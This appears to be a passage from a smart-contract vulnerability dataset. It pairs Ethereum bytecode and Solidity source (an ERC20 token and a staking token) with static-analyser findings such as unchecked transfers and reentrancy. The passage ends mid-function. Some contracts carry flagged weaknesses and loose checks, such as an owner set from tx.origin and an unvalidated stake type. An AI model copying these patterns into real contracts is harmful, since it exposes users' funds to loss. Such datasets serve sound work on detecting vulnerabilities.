060200190929190505050610bdf565b604051808781526020018681526020018581526020018460ff1660ff168152602001838152602001828152602001965050505050505060405180910390f35b34801561028157600080fd5b5061028a610c37565b005b34801561029857600080fd5b506102a1610dd3565b005b3480156102af57600080fd5b506102b8610eed565b604051808215151515815260200191505060405180910390f35b3480156102de57600080fd5b506102e7610f2d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561033557600080fd5b5061033e610f52565b604051808215151515815260200191505060405180910390f35b34801561036457600080fd5b5061036d61125c565b604051808215151515815260200191505060405180910390f35b34801561039357600080fd5b5061039c61126f565b604051808260ff1660ff16815260200191505060405180910390f35b3480156103c457600080fd5b506103cd611282565b005b3480156103db57600080fd5b506103e461139b565b604051808215151515815260200191505060405180910390f35b34801561040a57600080fd5b506104136113ae565b005b34801561042157600080fd5b5061042a6114e0565b604051808215151515815260200191505060405180910390f35b610478600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506105ae565b604051808215151515815260200191505060405180910390f35b34801561049e57600080fd5b506104d3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611792565b005b3480156104e157600080fd5b506104ea6118e7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561053857600080fd5b5061054161190d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561058f57600080fd5b50610598611933565b6040518082815260200191505060405180910390f35b600080600080600080600760019054906101000a900460ff1615156105d257600080fd5b600760029054906101000a900460ff161515156105ee57600080fd5b600760039054906101000a900460ff1615151561060a57600080fd5b86600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561064757600080fd5b61064f610aec565b955060008660000b1215151561066157fe5b60048660000b81548110151561067357fe5b9060005260206000209060060201945034935084600001546106a286600501548661193990919063ffffffff16565b111515156106af57600080fd5b846004015484101515156106c257600080fd5b6106ee6402540be4006106e06003548761195790919063ffffffff16565b61199290919063ffffffff16565b925061070b838660030160009054906101000a900460ff166119ad565b91506107228460055461193990919063ffffffff16565b60058190555061073f84866005015461193990919063ffffffff16565b8560050181905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f340fa0134336040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019150506000604051808303818588803b15801561080457600080fd5b505af1158015610818573d6000803e3d6000fd5b5050505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb89846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156108e257600080fd5b505af11580156108f6573d6000803e3d6000fd5b505050506040513d602081101561090c57600080fd5b8101908080519060200190929190505050508773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad188685604051808381526020018281526020019250505060405180910390a360019650505050505050919050565b600081600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156109d957600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cb13cddb846040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015610a9657600080fd5b505af1158015610aaa573d6000803e3d6000fd5b505050506040513d6020811015610ac057600080fd5b8101908080519060200190929190505050915050919050565b600760039054906101000a900460ff1681565b600080600090505b600760009054906101000a900460ff1660ff168160ff161015610bb157600060048260ff16815481101515610b2557fe5b90600052602060002090600602016001015414158015610b68575060048160ff16815481101515610b5257fe5b9060005260206000209060060201600101544210155b8015610b975750600060048260ff16815481101515610b8357fe5b906000526020600020906006020160020154145b15610ba457809150610bd5565b8080600101915050610af4565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff91505b5090565b60035481565b600481815481101515610bee57fe5b90600052602060002090600602016000915090508060000154908060010154908060020154908060030160009054906101000a900460ff16908060040154908060050154905086565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c9257600080fd5b600760019054906101000a900460ff16151515610cae57600080fd5b600654600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015610d6e57600080fd5b505af1158015610d82573d6000803e3d6000fd5b505050506040513d6020811015610d9857600080fd5b810190808051906020019092919050505010151515610db657600080fd5b6001600760016101000a81548160ff021916908315150217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e2e57600080fd5b600760019054906101000a900460ff161515610e4957600080fd5b600760039054906101000a900460ff16151515610e6557600080fd5b6001600760036101000a81548160ff0219169083151502179055507f4898556e3bd8b06263e50e938f30f736c1fd2030390474dd6bc0b28d8c5450373342604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1565b60008060046001600760009054906101000a900460ff160360ff16815481101515610f1457fe5b9060005260206000209060060201600201541415905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fb557600080fd5b600760019054906101000a900460ff161515610fd057600080fd5b600760029054906101000a900460ff16151515610fec57600080fd5b610ff4610aec565b935060018460000b14151561100857600080fd5b60048460000b81548110151561101a57fe5b9060005260206000209060060201925066254db1c224400090506902a5a058fc295ed0000083600501541115156111915761108d61107e6402540be4006110706120d0876005015461195790919063ffffffff16565b61199290919063ffffffff16565b826119fb90919063ffffffff16565b9150600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561115457600080fd5b505af1158015611168573d6000803e3d6000fd5b505050506040513d602081101561117e57600080fd5b8101908080519060200190929190505050505b6001600760026101000a81548160ff0219169083151502179055504260046001600760009054906101000a900460ff160360ff168154811015156111d157fe5b9060005260206000209060060201600201819055507f2a5c3ee768d1c9d9e961d2a5461ad9e60b0182d849dfa1219c72416682c1b4fe3342604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1600194505050505090565b600760029054906101000a900460ff1681565b600760009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112dd57600080fd5b600760019054906101000a900460ff1615156112f857600080fd5b600760039054906101000a900460ff16151561131357600080fd5b6000600760036101000a81548160ff0219169083151502179055507ff51d76165eae3d3ae114e4b7e669401ba7153d9a87dd96b74640730e3872274b3342604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1565b600760019054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561140957600080fd5b600760029054906101000a900460ff1615151561142557600080fd5b600760019054906101000a900460ff16151561144057600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166303ba27f66040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b1580156114c657600080fd5b505af11580156114da573d6000803e3d6000fd5b50505050565b60008060008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561154357600080fd5b600760029054906101000a900460ff1615151561155f57600080fd5b600760019054906101000a900460ff16151561157a57600080fd5b600760039054906101000a900460ff1615151561159657600080fd5b61159e610aec565b935060008460000b1415156115b257600080fd5b60048460000b8154811015156115c457fe5b906000526020600020906006020192506619945ca262000090506901969368974c05b00000836005015411151561173b576116376116286402540be40061161a612580876005015461195790919063ffffffff16565b61199290919063ffffffff16565b826119fb90919063ffffffff16565b9150600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156116fe57600080fd5b505af1158015611712573d6000803e3d6000fd5b505050506040513d602081101561172857600080fd5b8101908080519060200190929190505050505b426004600081548110151561174c57fe5b906000526020600020906006020160020181905550426004600181548110151561177257fe5b906000526020600020906006020160010181905550600194505050505090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117ed57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561182957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b600080828401905083811015151561194d57fe5b8091505092915050565b600080600084141561196c576000915061198b565b828402905082848281151561197d57fe5b0414151561198757fe5b8091505b5092915050565b60008082848115156119a057fe5b0490508091505092915050565b600080600090506119dd60646119cf8560ff168761195790919063ffffffff16565b61199290919063ffffffff16565b90506119f2818561193990919063ffffffff16565b91505092915050565b6000828211151515611a0957fe5b8183039050929150505600a165627a7a7230582004993ec81d60b78f4fcf572855f77c7d722536ab8bb25a5802d26600885abb420029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 9,442 |
0x0baf42501c5a3dda287db7a822e364ea60c76a62
|
pragma solidity ^0.4.25;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
require(value <= _balances[msg.sender]);
require(to != address(0));
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param amount The amount that will be created.
*/
function _mint(address account, uint256 amount) internal {
require(account != 0);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
}
contract Remitano is ERC20 {
string public constant name = "Remitano";
string public constant symbol = "RET";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
_mint(msg.sender, INITIAL_SUPPLY);
}
}
|
0x6080604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100be578063095ea7b31461014857806318160ddd1461018057806323b872dd146101a75780632ff2e9dc146101d1578063313ce567146101e6578063395093511461021157806370a082311461023557806395d89b4114610256578063a457c2d71461026b578063a9059cbb1461028f578063dd62ed3e146102b3575b600080fd5b3480156100ca57600080fd5b506100d36102da565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561010d5781810151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015457600080fd5b5061016c600160a060020a0360043516602435610311565b604080519115158252519081900360200190f35b34801561018c57600080fd5b5061019561038f565b60408051918252519081900360200190f35b3480156101b357600080fd5b5061016c600160a060020a0360043581169060243516604435610395565b3480156101dd57600080fd5b5061019561050a565b3480156101f257600080fd5b506101fb610518565b6040805160ff9092168252519081900360200190f35b34801561021d57600080fd5b5061016c600160a060020a036004351660243561051d565b34801561024157600080fd5b50610195600160a060020a03600435166105cd565b34801561026257600080fd5b506100d36105e8565b34801561027757600080fd5b5061016c600160a060020a036004351660243561061f565b34801561029b57600080fd5b5061016c600160a060020a036004351660243561066a565b3480156102bf57600080fd5b50610195600160a060020a0360043581169060243516610749565b60408051808201909152600881527f52656d6974616e6f000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a038316151561032857600080fd5b336000818152600160209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60025490565b600160a060020a0383166000908152602081905260408120548211156103ba57600080fd5b600160a060020a03841660009081526001602090815260408083203384529091529020548211156103ea57600080fd5b600160a060020a03831615156103ff57600080fd5b600160a060020a038416600090815260208190526040902054610428908363ffffffff61077416565b600160a060020a03808616600090815260208190526040808220939093559085168152205461045d908363ffffffff61078b16565b600160a060020a0380851660009081526020818152604080832094909455918716815260018252828120338252909152205461049f908363ffffffff61077416565b600160a060020a03808616600081815260016020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b69d3c21bcecceda100000081565b601281565b6000600160a060020a038316151561053457600080fd5b336000908152600160209081526040808320600160a060020a0387168452909152902054610568908363ffffffff61078b16565b336000818152600160209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a031660009081526020819052604090205490565b60408051808201909152600381527f5245540000000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a038316151561063657600080fd5b336000908152600160209081526040808320600160a060020a0387168452909152902054610568908363ffffffff61077416565b3360009081526020819052604081205482111561068657600080fd5b600160a060020a038316151561069b57600080fd5b336000908152602081905260409020546106bb908363ffffffff61077416565b3360009081526020819052604080822092909255600160a060020a038516815220546106ed908363ffffffff61078b16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b6000808383111561078457600080fd5b5050900390565b60008282018381101561079d57600080fd5b93925050505600a165627a7a723058207adc82a32021eb0d4ed64029c71e383118af1e030d4bf2c8ebbf42913239bf480029
|
{"success": true, "error": null, "results": {}}
| 9,443 |
0x618b002a04eeb18ee23b85a26430648e2f1f3c65
|
/**
*Submitted for verification at Etherscan.io on 2020-12-04
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.6.0 <0.8.0;
pragma experimental ABIEncoderV2;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name_, string memory symbol_, uint8 decimals_) public {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract PearToken is ERC20 {
using SafeMath for uint;
event staked(address sender, uint amount, uint lockedTime);
event unstaked(address sender, uint amount);
address private _owner;
address private _minter;
address private _sales;
address private _tokenContract;
uint private stakeBuffer = 10000000000;
uint private stakedSupply = 0;
// Staking
uint yearInMs = 220752000;
struct StakeType {
uint rewardPercent; // Percent reward to get each period
uint lockedTime; // How long the stake is locked before allowed to withdraw
}
mapping(uint => StakeType) private _stakingOptions;
struct Stake {
uint amount; // Amount staked
uint startTime; // When staking started
uint stakeType; // Type of stake
}
mapping(address => Stake[]) private _staking;
constructor () public ERC20("Pear", "PEAR", 18){
_owner = tx.origin;
_stakingOptions[0].rewardPercent = 1000;
_stakingOptions[0].lockedTime = 0;
_stakingOptions[1].rewardPercent = 2000;
_stakingOptions[1].lockedTime = 604800;
_stakingOptions[2].rewardPercent = 3500;
_stakingOptions[2].lockedTime = 2592000;
_stakingOptions[3].rewardPercent = 5000;
_stakingOptions[3].lockedTime = 31536000;
}
/* Set the token contract for which to call for the stake reward
*
*/
function getTotalSupply() public view returns(uint) {
return totalSupply() + stakedSupply;
}
/* Get available tokens
*
*/
function getMyBalance() public view returns(uint) {
return balanceOf(msg.sender);
}
/* Get all tokens inkl staked
*
*/
function getMyFullBalance() public view returns(uint) {
uint balance = balanceOf(msg.sender);
for (uint i = 0; i < _staking[msg.sender].length; i++){
balance += getStakeAmount(i);
}
return balance;
}
/* Set the token contract for which to call for the stake reward
*
*/
function setTokenContract(address _address) public {
require(_msgSender() == _owner,"Only owner can set token contract!");
_tokenContract = _address;
}
/* Sets the address allowed to mint
*
*/
function setMinter(address minter_) public {
require(msg.sender == _owner, "Only owner can set minter!");
_minter = minter_;
}
/*
*
*/
function setSales(address sales_) public {
require(msg.sender == _owner, "Only owner can set minter!");
_sales = sales_;
}
/* Mint an amount of tokens to an address
*
*/
function mint(address address_, uint256 amount_) public {
require(msg.sender == _minter || msg.sender == _sales, "Only minter can mint tokens!");
_mint(address_, amount_);
}
/*
*
*/
function mintToMultipleAddresses(address[] memory _addresses, uint _amount) public {
require(_msgSender() == _owner,"Only owner can mint to multiple addresses!");
for(uint i = 0; i < _addresses.length; i++){
_mint(_addresses[i], _amount);
}
}
/* Stake
*
*/
function stake(uint amount_, uint stakeType_) public {
_burn(msg.sender, amount_);
stakedSupply += amount_;
Stake memory temp;
temp.amount = amount_;
temp.startTime = now;
temp.stakeType = stakeType_;
_staking[msg.sender].push(temp);
emit staked(msg.sender, amount_, _stakingOptions[stakeType_].lockedTime);
}
/* Get all stakes a address holds
*
*/
function getStakes() public view returns (uint[3][] memory) {
uint[3][] memory tempStakeList = new uint[3][](_staking[msg.sender].length);
for (uint i = 0; i < _staking[msg.sender].length; i++){
tempStakeList[i][0] = getStakeAmount(i);
tempStakeList[i][1] = getRemainingLockTime(i);
tempStakeList[i][2] = getStakeReward(i);
}
return tempStakeList;
}
/* Returns the amount of token provided with a stake.
*
*/
function getStakeAmount(uint stake_) public view returns (uint) {
return _staking[msg.sender][stake_].amount;
}
/* returns true or false depending on if a stake is locked
* or free to withdraw.
*/
function isStakeLocked(uint stake_) private view returns (bool) {
uint stakingTime = now - _staking[msg.sender][stake_].startTime;
return stakingTime < _stakingOptions[_staking[msg.sender][stake_].stakeType].lockedTime;
}
/* Returns the remaining lock time of a stake, if unlocked
* returns 0.
*/
function getRemainingLockTime(uint stake_) public view returns (uint) {
uint stakingTime = now - _staking[msg.sender][stake_].startTime;
if (stakingTime < _stakingOptions[_staking[msg.sender][stake_].stakeType].lockedTime) {
return _stakingOptions[_staking[msg.sender][stake_].stakeType].lockedTime - stakingTime;
} else {
return 0;
}
}
/* Calculates the current reward of a stake.
* Get time staked
* Add a buffer to circumvent float calculations
* Gets amount of periods staked
* Multiplies the periods staked with the reward percent amount
* Multiplies the reward by the amount staked
* Removed the buffer
* Removes the percent buffer
*/
function getStakeReward(uint stake_) public view returns (uint) {
uint stakingTime = now - _staking[msg.sender][stake_].startTime;
uint buffededStakingTime = stakingTime * stakeBuffer;
uint periods = buffededStakingTime / yearInMs;
uint buffedRewardPeriodPercent = periods * _stakingOptions[_staking[msg.sender][stake_].stakeType].rewardPercent;
uint buffedReward = _staking[msg.sender][stake_].amount * buffedRewardPeriodPercent;
uint rewardPerc = buffedReward / stakeBuffer;
uint reward = rewardPerc / 100;
return reward;
}
/* Unstake previous stake, mints back the original tokens,
* sends mint function call to reward contract to mint the
* reward to the sender address.
*/
function unstake(uint stake_) public {
require(isStakeLocked(stake_) != true, "Stake still locked!");
_mint(msg.sender, _staking[msg.sender][stake_].amount);
